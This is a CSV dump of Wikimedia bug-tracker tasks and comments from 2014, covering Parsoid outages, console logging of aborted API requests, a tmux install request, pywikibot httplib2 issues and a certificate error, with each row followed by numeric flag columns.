+295694,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)",Parsoid broke in beta labs because someone swapped the UIDs of the parsoid user and mwalker. This caused various things that should have been owned by parsoid to be owned by mwalker until I manually fixed it.,,,1400620153,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-z47j727fj45rve5q5uwp,task_subcomment,,True,c3,1,True,,,-59,True,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+295688,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)",*** Bug 65555 has been marked as a duplicate of this bug. ***,,,1400619845,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z47j727fj45rve5q5uwp,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+295684,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)",Parsoid is down completely in beta labs. I tried restarting it but it doesn't come up. Investigating.,,,1400617898,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-z47j727fj45rve5q5uwp,task_subcomment,,True,c3,1,True,,,-59,True,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+67442,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","I'm getting a lot of warnings like this
+""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""}
+in the console. I believe it comes from this line:
+mw.popups.render.currentRequest.abort();
+of ext.popups.renderer.js.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",Needs Triage,90.0,1400363640,1409937713.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-vhyfb66m2hqqjjd642wl,task_description,resolved,True,c3,1,False,False,True,-59,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+304406,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 157350 merged by jenkins-bot:
+mediawiki.api: Actually don't log request error 'abort'
+
+https://gerrit.wikimedia.org/r/157350",,,1409937665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+304402,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 157350 had a related patch set uploaded by Bartosz Dziewoński:
+mediawiki.api: Actually don't log request error 'abort'
+
+https://gerrit.wikimedia.org/r/157350",,,1409413949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+304397,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})",Possibly due to jQuery upgrade?,,,1409412102,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+304392,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 137269 merged by jenkins-bot:
+core: Ignore '.oo-ui-buttonedElement-button' links
+
+https://gerrit.wikimedia.org/r/137269",,,1408626595,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+304387,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","For some reason the code variable used in this test
+https://gerrit.wikimedia.org/r/#/c/132004/1/resources/src/mediawiki.api/mediawiki.api.js,unified
+does not contains 'abort' (anymore?). Its value is 'http' and the 'abort' is actually on details.exception and details.textStatus.
+
+These logs causes a lot of undesirable noise while debugging other things in a page with many links (such as the Watchlist).",,,1406907614,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-48,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+304379,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 137269 had a related patch set uploaded by Prtksxna:
+core: Ignore '.oo-ui-buttonedElement-button' links
+
+https://gerrit.wikimedia.org/r/137269",,,1401855418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+304374,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Is it alright to ignore the "".oo-ui-buttonedElement-button"" class to resolve the Cancel button issue or some other approach needs to be taken for it?",,,1401790578,,PHID-USER-gc5hdyw5p4np7atqjynz,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-57,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+304369,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","I'm not seeing these anymore.
+
+But I do find one more link which should probably not have Popups: the cancel link below the editbox.",,,1400940723,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-58,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+304361,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Helder, are these being generated on links that shouldn't have Hovercards to begin with. If no, lets mark this invalid. If yes, are such links documented on some other bug? If yes, let close this. If not, could you please share more details?",,,1400921554,,PHID-USER-gc5hdyw5p4np7atqjynz,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-58,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0
+304353,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","This is just debugging information to let you know a request was aborted. This is generally a good thing (e.g. if a request is no longer needed because of new information and the firing of a new request, the previous one should be aborted for efficiency).
+
+Because the information was next to useless, it was removed from mediawiki.api.js in I7797c833745b4. The aborting still happens though, as it should.
+
+If this bug is only about that message and under the assumption it is bad and needs to be dealt with, then this bug should be closed as invalid.",,,1400523828,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+304348,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","PS: I was on page
+https://pt.wikipedia.org/w/index.php?title=L%C3%B3gica_proposicional&action=edit
+when I noticed these.",,,1400363845,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-59,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+67426,Install tmux on tools-login and tools-dev,"Some users do code in unstable network connection (include me). When I reconnect the internet, all ssh sessions being disconected. So I must reconnect to ssh server, become tools account, reopen opened files and recovery vim swp files...
+
+If we have tmux, all coding done in tmux and it is much less stressful...
+
+thank you
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1400288700,1407078238.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,,False,PHID-TASK-igkjj634njsfmcx3jpze,task_description,resolved,True,c3,1,False,False,True,-59,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0
+303439,Install tmux on tools-login and tools-dev,"Change 135505 merged by coren:
+Tools: Install user-requested packages
+
+https://gerrit.wikimedia.org/r/135505",,,1401717324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-igkjj634njsfmcx3jpze,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+303433,Install tmux on tools-login and tools-dev,"Change 135505 had a related patch set uploaded by Tim Landscheidt:
+Tools: Install user-requested packages
+
+https://gerrit.wikimedia.org/r/135505",,,1401156558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-igkjj634njsfmcx3jpze,task_subcomment,,True,c3,1,False,,,-58,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+303428,Install tmux on tools-login and tools-dev,"An equivalent tool, screen, is already installed on tools-login, but it seems reasonable to install tmux as well, as many people prefer it.",,,1400289798,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-igkjj634njsfmcx3jpze,task_subcomment,,True,c3,1,True,,,-59,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+67189,httplib2: upgrade repo to 0.9,"https://github.com/jcgregorio/httplib2/releases/tag/v0.9 contains a cacert.txt that /does/ work for WMF domains, so we should:
+
+ - update externals/httplib2 to 0.9, and
+ - update setup.py to require httplib2 >= 0.9
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68794",Needs Triage,90.0,1399813140,1413243210.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_description,resolved,True,c3,1,True,False,True,-60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+303849,httplib2: upgrade repo to 0.9,"Change 138774 merged by jenkins-bot:
+Add soft dependency on httplib2 0.9.0 for cacerts
+
+https://gerrit.wikimedia.org/r/138774",,,1411373146,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+303841,httplib2: upgrade repo to 0.9,"Change 138774 had a related patch set uploaded by John Vandenberg:
+Add soft dependency on httplib2 0.9.0 for cacerts
+
+https://gerrit.wikimedia.org/r/138774",,,1410241284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+303833,httplib2: upgrade repo to 0.9," - update externals/httplib2 to 0.9, and
+
+I think the externals upgrade was done here:
+
+https://gerrit.wikimedia.org/r/#/c/137369/
+
+http://git.wikimedia.org/log/pywikibot%2Fexternals%2Fhttplib2.git
+
+And the external in pywikibot was updated here:
+
+http://git.wikimedia.org/commitdiff/pywikibot%2Fcore.git/5f8bcfa68c3dbd83bc13ff9c19f9997e4adf6829
+https://gerrit.wikimedia.org/r/#/c/151589/
+
+- update setup.py to require httplib2 >= 0.9
+
+https://gerrit.wikimedia.org/r/#/c/138774/",,,1410237646,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+67181,Fix how interwiki.py handles non-returned HTTP errors,"page.put returns nothing but interwiki.py expects status codes to be returned, resulting in a TypeError after one page update at maximum.
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Needs Triage,90.0,1399805220,1399805322.0,PHID-USER-meyjnh7zdarfb7u7upzo,False,,False,PHID-TASK-gqm62wb7sxcsbja55uiw,task_description,resolved,True,c3,1,False,False,True,-60,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+303490,Fix how interwiki.py handles non-returned HTTP errors,Already resolved at https://gerrit.wikimedia.org/r/#/c/132711/,,,1399805322,,PHID-USER-meyjnh7zdarfb7u7upzo,False,,,PHID-TASK-gqm62wb7sxcsbja55uiw,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+67089,Error: No module named httplib2,"I can't use pywikibot in my pc, it return the error ""ImportError: No module named httplib2"". I'm using core version.
+
+$ git pull
+Already up-to-date.
+$ git submodule foreach git pull
+Entering 'externals/httplib2'
+Already up-to-date.
+Entering 'scripts/i18n'
+Already up-to-date.
+$ python
+Python 2.7.3 (default, Apr 14 2012, 08:58:41) [GCC] on linux2
+Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
+>>> import pywikibot
+Traceback (most recent call last):
+  File ""<stdin>"", line 1, in <module>
+  File ""pywikibot/__init__.py"", line 427, in <module>
+    from .page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
+  File ""pywikibot/page.py"", line 17, in <module>
+    import pywikibot.site
+  File ""pywikibot/site.py"", line 34, in <module>
+    from pywikibot.data import api
+  File ""pywikibot/data/api.py"", line 13, in <module>
+    from pywikibot.comms import http
+  File ""pywikibot/comms/http.py"", line 31, in <module>
+    from httplib2 import SSLHandshakeError
+ImportError: No module named httplib2
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC",Needs Triage,90.0,1399663020,1399747303.0,PHID-USER-gkosbp7ibty73tjucrop,False,,False,PHID-TASK-pck3vqidw5gaxeet6aca,task_description,resolved,True,c3,1,False,False,True,-60,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1
+299068,Error: No module named httplib2,Added to https://www.mediawiki.org/wiki/Manual:Pywikibot/Create_your_own_script,,,1399747303,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+299064,Error: No module named httplib2,"Merlijn, the usage should be documented anywhere.",,,1399706285,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+299058,Error: No module named httplib2,"Change 132497 merged by jenkins-bot:
+Bug 65089: add 'shell' script
+
+https://gerrit.wikimedia.org/r/132497",,,1399706192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+299049,Error: No module named httplib2,"Ok, now it is working :)
+
+I used to use the old trunk version and I didn't know that
+
+Thank you",,,1399667406,,PHID-USER-gkosbp7ibty73tjucrop,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+299043,Error: No module named httplib2,"After that patch is merged, you can also run
+
+python pwb.py shell
+
+to get an interactive shell (like e.g. Django, where you run 'manage.py shell')",,,1399665262,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+299039,Error: No module named httplib2,"Change 132497 had a related patch set uploaded by Merlijn van Deen:
+Bug 65089: add 'shell' script
+
+https://gerrit.wikimedia.org/r/132497",,,1399665128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+299036,Error: No module named httplib2,"There are two ways to use pywikibot
+
+1) as a library. Run ""python setup.py develop""; this will install pywikibot in your python library folder
+
+2) as a 'portable app'. In that case, you have to run everything through pwb.py to patch up your paths. Run ""python pwb.py scriptname"" to run a script, or ""python -i pwb.py"" to get a shell.",,,1399664749,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+66483,WMFLabs: bin/curl says noc.wikimedia.org has invalid certificate,"[16:00 UTC] cvn-apache5.eqiad.wmflabs$ bin/update
++ curl https://noc.wikimedia.org/conf/all.dblist
+  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+                                 Dload  Upload   Total   Spent    Left  Speed
+  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
+error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+More details here: http://curl.haxx.se/docs/sslcerts.html
+
+curl performs SSL certificate verification by default, using a ""bundle""
+ of Certificate Authority (CA) public keys (CA certs). If the default
+ bundle file isn't adequate, you can specify an alternate file
+ using the --cacert option.
+If this HTTPS server uses a certificate signed by a CA represented in
+ the bundle, the certificate verification probably failed due to a
+ problem with the certificate (it might be expired, or the name might
+ not match the domain name in the URL).
+If you'd like to turn off curl's verification of the certificate, use
+ the -k (or --insecure) option.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1398528180,1412588293.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-6xo5eguri365pln23x75,task_description,resolved,True,c3,1,True,False,True,-62,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+308043,WMFLabs: bin/curl says noc.wikimedia.org has invalid certificate,"IMHO this is not a problem with Labs, but noc.wikimedia.org; cf. for example http://www.sslshopper.com/ssl-checker.html#hostname=noc.wikimedia.org.  It should go away completely when bug #64484 is fixed.",,,1398534400,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6xo5eguri365pln23x75,task_subcomment,,True,c3,1,True,,,-62,True,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+66407,Username in a failed login is still remembered and shown at the top of the left panel,"
+
+--------------------------
+**Version**: Android (alpha)
